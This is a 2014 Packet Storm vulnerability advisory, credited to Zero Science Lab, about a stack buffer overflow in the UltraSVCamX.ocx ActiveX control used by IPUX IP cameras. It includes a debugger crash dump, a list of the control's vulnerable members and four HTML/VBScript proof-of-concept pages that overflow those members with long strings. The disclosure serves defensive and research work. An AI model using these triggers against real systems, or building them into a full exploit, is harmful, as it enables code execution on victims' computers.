IPUX CL5452/CL5132 IP Camera Stack Buffer Overflow

2014-12-02T00:00:00
ID PACKETSTORM:129346
Type packetstorm
Reporter LiquidWorm
Modified 2014-12-02T00:00:00

Description

                                        
                                            `  
IPUX CL5452/CL5132 IP Camera (UltraSVCamX.ocx) ActiveX Stack Buffer Overflow  
  
  
Vendor: Big Good Holdings Limited | Fitivision Technology Inc.  
Product web page: http://www.ipux.net | http://www.fitivision.com  
Affected version: Bullet Type ICL5132 (firmware: ICL5132 2.0.0-2 20130730 r1112)  
Bullet Type ICL5452  
  
Summary: The device is H.264 Wired/Wireless IP Camera with 1.3 Mega-pixel sensor.  
With high performance H.264 video compression, the file size of video stream is  
extremely reduced, as to optimize the network bandwidth efficiency. It has full  
Pan/Tilt function and 3X digital zoom feature for a larger space monitoring. The  
built-in USB port provides a convenient and portable storage option for local storage  
of event and schedule recording, especially network disconnected.  
  
Desc: The UltraSVCam ActiveX Control 'UltraSVCamX.ocx' suffers from a stack buffer  
overflow vulnerability when parsing large amount of bytes to several functions in  
UltraSVCamLib, resulting in memory corruption overwriting several registers including  
the SEH. An attacker can gain access to the system of the affected node and execute  
arbitrary code.  
  
----------------------------------------------------------------------------------  
  
(3ef0.3e0c): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\Downloaded Program Files\UltraSVCamX.ocx -   
eax=41414149 ebx=00000001 ecx=00003e0c edx=02163f74 esi=41414141 edi=02163f74  
eip=77e8466c esp=003eef8c ebp=003eefc0 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
ntdll!RtlDeleteCriticalSection+0x77:  
77e8466c 833800 cmp dword ptr [eax],0 ds:002b:41414149=????????  
  
----------------------------------------------------------------------------------  
  
Tested on: Microsoft Windows 7 Professional SP1 (EN)  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2014-5213  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5213.php  
  
  
16.11.2014  
  
---  
  
  
Properties:  
-----------  
  
FileDescription UltraSVCam ActiveX Control  
FileVersion 1, 0, 53, 34 and 1, 0, 53, 33  
InternalName UltraSVCamX  
OriginalFileName UltraSVCamX.ocx  
ProductName UltraSVCam device ActiveX Control  
ProductVersion 1, 0, 53, 34 and 1, 0, 53, 33  
  
  
List of members:  
----------------  
  
Interface IUltraSVCamX : IDispatch  
Default Interface: True  
Members : 51  
RemoteHost  
RemotePort  
AccountCode  
Password  
UserName  
fChgImageSize  
ImgWidth  
ImgHeight  
SnapFileName  
AVIRecStart  
SetImgScale  
OpenFolder  
OpenFileDlg  
TriggerStatus  
AVIRecStatus  
PlayVideo  
SetAutoScale  
SetPTUserAllow  
SetLanguage  
SetFullScreen  
SetZoom  
SetDirectShow  
SetROIParam  
FOpen  
FSeek  
FDeleteFile  
  
  
Vulnerable members of the class:  
--------------------------------  
  
RemoteHost  
AccountCode  
SnapFileName  
OpenFolder  
  
  
PoC(s):  
-------  
  
  
---1  
  
  
<html>  
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />  
<script language='vbscript'>  
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"  
prototype = "Property Let RemoteHost As String"  
memberName = "RemoteHost"  
progid = "UltraSVCamLib.UltraSVCamX"  
argCount = 1  
arg1=String(11284, "A")  
target.RemoteHost = arg1  
</script>  
</html>  
  
  
---2  
  
  
<html>  
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />  
<script language='vbscript'>  
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"  
prototype = "Property Let AccountCode As String"  
memberName = "AccountCode"  
progid = "UltraSVCamLib.UltraSVCamX"  
argCount = 1  
arg1=String(1044, "A")  
target.AccountCode = arg1  
</script>  
</html>  
  
  
---3  
  
  
<html>  
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />  
<script language='vbscript'>  
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"  
prototype = "Property Let SnapFileName As String"  
memberName = "SnapFileName"  
progid = "UltraSVCamLib.UltraSVCamX"  
argCount = 1  
arg1=String(11284, "A")  
target.SnapFileName = arg1  
</script>  
</html>  
  
  
---4  
  
  
<html>  
<object classid='clsid:33AD836E-B04E-4114-B39F-AB77AAA08487' id='target' />  
<script language='vbscript'>  
targetFile = "C:\Windows\Downloaded Program Files\UltraSVCamX.ocx"  
prototype = "Function OpenFolder ( ByVal sInitPath As String ) As String"  
memberName = "OpenFolder"  
progid = "UltraSVCamLib.UltraSVCamX"  
argCount = 1  
arg1=String(2068, "A")  
target.OpenFolder arg1   
</script>  
</html>  
`